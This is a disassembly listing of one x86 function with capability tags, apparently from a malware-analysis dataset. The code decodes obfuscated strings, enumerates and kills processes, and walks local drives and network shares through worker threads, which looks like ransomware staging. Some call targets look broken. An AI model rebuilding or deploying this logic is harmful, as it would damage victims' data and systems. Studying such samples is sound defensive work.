Function at 0x405350
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x294
push ebx
push esi
push edi
call fcn.00401000
test eax, eax
jne 0x405370
push 1
call dword [0x14a00100]
mov byte [esp + 0x1e], 0
mov edi, 0x7f
mov byte [esp + 0x1f], 0x4f
mov byte [esp + 0x20], 0x1d
mov byte [esp + 0x21], 0x7b
mov byte [esp + 0x22], 0x5e
mov byte [esp + 0x23], 0xe
mov byte [esp + 0x24], 0x4c
mov byte [esp + 0x25], 0x4f
mov byte [esp + 0x26], 0x76
mov al, byte [esp + 0x1f]
cmp byte [esp + 0x1e], 0
jne 0x4053d4
xor esi, esi
nop
mov al, byte [esp + esi + 0x1f]
mov ecx, 0x76
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x23
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [esp + esi + 0x1f], dl
inc esi
cmp esi, 8
jb 0x4053b0
lea eax, [esp + 0x1f]
push eax
push 1
push 0
call dword [0x14800100]
push 0
push eax
mov dword [esp + 0x54], eax
call dword [0x78a00100]
test eax, eax
je 0x4053fc
push 1
call dword [0x14a00100]
mov dword [0x20a10100], 0
mov dword [0x24a10100], 0x20a10100
call dword [0x800100]
mov ecx, eax
call 0xfc7f5421
xor edi, edi
mov dword [esp + 0x30], 0
xor ebx, ebx
push edi
mov dword [esp + 0x18], ebx
call dword [0x88a00100]
mov esi, eax
test esi, esi
je 0x4054d8
push 0xa
push 0x65
push esi
call dword [0x8a00100]
mov ebx, eax
test ebx, ebx
je 0x4054d6
push 0xa
push 0x66
push esi
call dword [0x8a00100]
mov dword [esp + 0x10], eax
test eax, eax
je 0x4054d6
push ebx
push esi
call dword [0x1ca10100]
push dword [esp + 0x10]
mov dword [esp + 0x10], eax
push esi
call dword [0x1ca10100]
mov dword [esp + 0x18], eax
cmp dword [esp + 0xc], edi
je 0x4054d6
test eax, eax
je 0x4054d6
push ebx
push esi
call dword [0xca10100]
push dword [esp + 0x10]
mov ebx, eax
push esi
call dword [0xca10100]
mov esi, eax
test ebx, ebx
je 0x4054d6
test esi, esi
je 0x4054d6
push ebx
call dword [0xdca00100]
push esi
mov ebx, eax
call dword [0xdca00100]
test ebx, ebx
je 0x4054d6
test eax, eax
je 0x4054d6
mov edi, dword [esp + 0x18]
mov dword [esp + 0x30], ebx
mov ebx, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x14], eax
jmp 0x4054ea
xor ebx, ebx
push dword [esp + 0x4c]
call dword [0x18800100]
push 1
call dword [0x14a00100]
lea eax, [edi*2 + 0x800]
push eax
push 8
call dword [0x80a00100]
push eax
call dword [0xe8a00100]
mov esi, eax
mov dword [esp + 0x10], esi
test esi, esi
jne 0x405513
push 1
call dword [0x14a00100]
lea ecx, [edi + 0x3ff]
push ecx
push esi
push edi
push ebx
push 0
push 1
call dword [0x10a00100]
test eax, eax
jne 0x40553d
push dword [esp + 0x4c]
call dword [0x18800100]
push 1
call dword [0x14a00100]
push 0x40800100
push esi
call dword [0xd8a00100]
neg eax
mov dword [esp + 0x58], 0
mov dword [esp + 0x60], 0
sbb ebx, ebx
lea eax, [esp + 0x58]
mov dword [esp + 0x5c], eax
inc ebx
lea eax, [esp + 0x60]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x64], eax
call 0x6c91557b
call 0x2cac5580
call 0x4ce85585
call 0xed2c558a
push 0
push 2
mov dword [esp + 0x78], 0x22c
call dword [0xcca00100]
mov edi, eax
cmp edi, 0xffffffff
je 0x405682
lea eax, [esp + 0x70]
push eax
push edi
call dword [0x58a00100]
test eax, eax
je 0x40567b
mov ebx, 0x7f
nop dword [eax]
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], 0x2b
mov byte [esp + 0x29], 0x1b
mov byte [esp + 0x2a], 0x58
mov byte [esp + 0x2b], 0x1b
mov byte [esp + 0x2c], 0xa
mov byte [esp + 0x2d], 0x1b
mov byte [esp + 0x2e], 0x1b
mov byte [esp + 0x2f], 0x1b
mov al, byte [esp + 0x28]
cmp byte [esp + 0x27], 0
jne 0x405624
xor esi, esi
nop word [eax + eax]
mov al, byte [esp + esi + 0x28]
movzx ecx, al
sub ecx, 0x1b
mov eax, ecx
shl eax, 5
sub eax, ecx
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [esp + esi + 0x28], dl
inc esi
cmp esi, 8
jb 0x405600
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x98]
push eax
call dword [0xbca00100]
test eax, eax
je 0x40565f
push dword [esp + 0x78]
push 0
push 1
call dword [0x14a10100]
mov esi, eax
test esi, esi
je 0x40565f
push 0
push esi
call dword [0x40a00100]
push esi
call dword [0x5ca00100]
lea eax, [esp + 0x70]
push eax
push edi
call dword [0xb0a00100]
test eax, eax
jne 0x4055c0
mov ebx, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
push edi
call dword [0x5ca00100]
mov eax, dword [esp + 0x30]
push 0x88
mov dword [0x68a10100], eax
mov eax, dword [esp + 0x18]
push 8
mov dword [0x6ca10100], eax
mov dword [0x70a10100], ebx
mov dword [0x64a10100], esi
call dword [0x80a00100]
push eax
call dword [0xe8a00100]
mov ecx, eax
mov dword [0x74a10100], ecx
test ecx, ecx
je 0x4056f0
mov dword [ecx], 0x20
mov eax, 0x80
add ecx, 8
nop
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x4056d0
push 0x20
push eax
push eax
push 0xffffffffffffffff
call dword [0xa0a00100]
mov ecx, dword [0x74a10100]
mov dword [ecx + 4], eax
xor esi, esi
cmp dword [ecx], esi
jle 0x405726
lea edi, [esi + 8]
nop dword [eax]
push 0
push 0
push ecx
push 0xf06d0100
push 0
push 0
call dword [0xe4a00100]
mov ecx, dword [0x74a10100]
lea edi, [edi + 4]
inc esi
mov dword [edi + ecx - 4], eax
cmp esi, dword [ecx]
jl 0x405700
mov eax, dword [0x900100]
xor ecx, ecx
mov dword [esp + 0x30], ecx
mov dword [esp + 0xc], ecx
cmp eax, 0xa
je 0x405743
cmp eax, 0xb
jne 0x4058a9
push 0
lea eax, [esp + 0x54]
mov dword [esp + 0x54], ecx
push 0
mov dword [esp + 0x5c], eax
call dword [0xca00100]
test eax, eax
je 0x40589c
lea edi, [eax + eax]
push edi
push 8
call dword [0x80a00100]
push eax
call dword [0xe8a00100]
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x40589c
push esi
push edi
call dword [0xca00100]
xor edi, edi
mov ebx, esi
push esi
mov dword [esp + 0x10], edi
call dword [0xc4a00100]
mov dword [esp + 0x14], eax
test eax, eax
je 0x405839
push ebx
call dword [0xa8a00100]
mov esi, eax
cmp esi, 2
je 0x4057c2
cmp esi, 3
je 0x4057c2
cmp esi, 4
je 0x4057c2
cmp esi, 6
jne 0x405818
push 0x10c
push 8
call dword [0x80a00100]
push eax
call dword [0xe8a00100]
mov edi, eax
test edi, edi
je 0x405814
push ebx
lea ecx, [edi + 4]
mov dword [edi], esi
push ecx
call dword [0x8ca00100]
lea ecx, [edi + 0x104]
mov dword [ecx], 0
mov eax, dword [esp + 0x54]
mov dword [edi + 0x108], eax
mov eax, dword [esp + 0x54]
mov dword [eax], edi
mov edi, dword [esp + 0xc]
inc edi
mov dword [esp + 0x54], ecx
mov dword [esp + 0xc], edi
jmp 0x405818
mov edi, dword [esp + 0xc]
mov eax, dword [esp + 0x14]
lea ebx, [ebx + eax*2]
add ebx, 2
push ebx
call dword [0xc4a00100]
mov dword [esp + 0x14], eax
test eax, eax
jne 0x4057a5
mov esi, dword [esp + 0x18]
push esi
push 0
call dword [0x80a00100]
push eax
call dword [0x98a00100]
test edi, edi
je 0x4058a4
lea eax, [edi*4]
push eax
push 8
call dword [0x80a00100]
push eax
call dword [0xe8a00100]
mov esi, dword [esp + 0x50]
mov ecx, eax
mov dword [esp + 0x30], ecx
test esi, esi
je 0x4058a4
mov edi, ecx
push 0
push 0
lea eax, [esi + 4]
push eax
push 0x60610100
push 0
push 0
call dword [0xe4a00100]
mov dword [edi], eax
lea edi, [edi + 4]
mov esi, dword [esi + 0x104]
test esi, esi
jne 0x405874
jmp 0x4058a4
mov dword [esp + 0xc], 0
mov eax, dword [0x900100]
cmp eax, 0xa
je 0x4058b7
cmp eax, 0xc
jne 0x405a91
mov esi, dword [0x20a10100]
mov dword [esp + 0x10], esi
test esi, esi
je 0x405a4e
nop dword [eax]
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x68], 0
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0x70]
push eax
lea eax, [esp + 0x4c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x58]
push eax
push 1
push esi
call dword [0xaca00100]
test eax, eax
je 0x40591f
cmp eax, 0xea
je 0x4058f0
jmp 0x388a5923
mov ebx, dword [esp + 0x48]
mov edi, 1
mov dword [esp + 0x14], edi
cmp dword [esp + 0x44], edi
jb 0x405a35
cmp dword [ebx + 4], 0
jne 0x405a1b
push 0x7d08
push 8
call dword [0x80a00100]
push eax
call dword [0xe8a00100]
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x405a1b
mov byte [esp + 0x37], 0
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x78
mov byte [esp + 0x3a], 0x2e
mov byte [esp + 0x3b], 0x78
mov byte [esp + 0x3c], 0x5d
mov byte [esp + 0x3d], 0x78
mov byte [esp + 0x3e], 0x5b
mov byte [esp + 0x3f], 0x78
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x41], 0x78
mov byte [esp + 0x42], 0x78
mov byte [esp + 0x43], 0x78
mov al, byte [esp + 0x38]
cmp byte [esp + 0x37], 0
jne 0x4059df
xor edi, edi
lea esi, [edi + 0x7f]
mov al, byte [esp + edi + 0x38]
mov ecx, 0x78
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x27
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [esp + edi + 0x38], dl
inc edi
cmp edi, 0xc
jb 0x4059b3
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
push dword [esp + 0x10]
lea eax, [esp + 0x3c]
push eax
push esi
call dword [0x24a00100]
add esp, 0xc
push dword [ebx]
push esi
call dword [0x18a10100]
lea ecx, [esi + 0x7d00]
mov dword [ecx], 0
mov eax, dword [esp + 0x5c]
mov dword [esi + 0x7d04], eax
mov eax, dword [esp + 0x5c]
mov dword [eax], esi
mov dword [esp + 0x5c], ecx
inc edi
add ebx, 0xc
mov dword [esp + 0x14], edi
cmp edi, dword [esp + 0x44]
jbe 0x405936
mov ebx, dword [esp + 0x48]
mov esi, dword [esp + 0x10]
push ebx
call dword [0x84a00100]
mov esi, dword [esi + 0x208]
mov dword [esp + 0x10], esi
test esi, esi
jne 0x4058d0
mov esi, dword [esp + 0x58]
test esi, esi
je 0x405a67
mov ecx, esi
call 0xc9d5b61
mov esi, dword [esi + 0x7d00]
test esi, esi
jne 0x405a56
mov edx, 0x20a10100
lea ecx, [esp + 0x60]
call 0xfc8c5a79
mov esi, dword [esp + 0x60]
test esi, esi
je 0x405a91
nop dword [eax]
mov ecx, esi
call 0xc9d5b8b
mov esi, dword [esi + 0x7d00]
test esi, esi
jne 0x405a80
push 0xffffffffffffffff
push 1
push dword [esp + 0x38]
push dword [esp + 0x18]
call dword [0x2ca00100]
mov ecx, dword [0x74a10100]
xor esi, esi
cmp dword [ecx], esi
jle 0x405acd
nop
push 0
push 0x29a
push 0
push dword [ecx + 4]
call dword [0x10a10100]
mov ecx, dword [0x74a10100]
inc esi
cmp esi, dword [ecx]
jl 0x405ab0
push 0xffffffffffffffff
push 1
lea eax, [ecx + 8]
push eax
push dword [ecx]
call dword [0x2ca00100]
push dword [esp + 0x4c]
call dword [0x18800100]
push 0
call dword [0x14a00100]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10